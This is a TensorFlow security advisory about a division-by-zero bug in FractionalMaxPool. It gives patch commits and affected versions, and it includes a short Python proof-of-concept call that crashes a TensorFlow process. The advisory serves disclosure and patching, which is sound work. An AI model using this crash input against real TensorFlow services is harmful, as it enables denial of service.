Division by zero in Tensorflow

Impact

The [implementation of FractionalMaxPool](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/fractional_max_pool_op.cc#L36-L192) can be made to crash a TensorFlow process via a division by 0:

```python

import tensorflow as tf

import numpy as np

tf.raw_ops.FractionalMaxPool(

value=tf.constant(value=[[[[1, 4, 2, 3]]]], dtype=tf.int64),

pooling_ratio=[1.0, 1.44, 1.73, 1.0],

pseudo_random=False,

overlapping=False,

deterministic=False,

seed=0,

seed2=0,

name=None)

`

Patches

We have patched the issue in GitHub commit [ba4e8ac4dc2991e350d5cc407f8598c8d4ee70fb](https://github.com/tensorflow/tensorflow/commit/ba4e8ac4dc2991e350d5cc407f8598c8d4ee70fb).

The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.

For more information

Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Faysal Hossain Shezan from University of Virginia.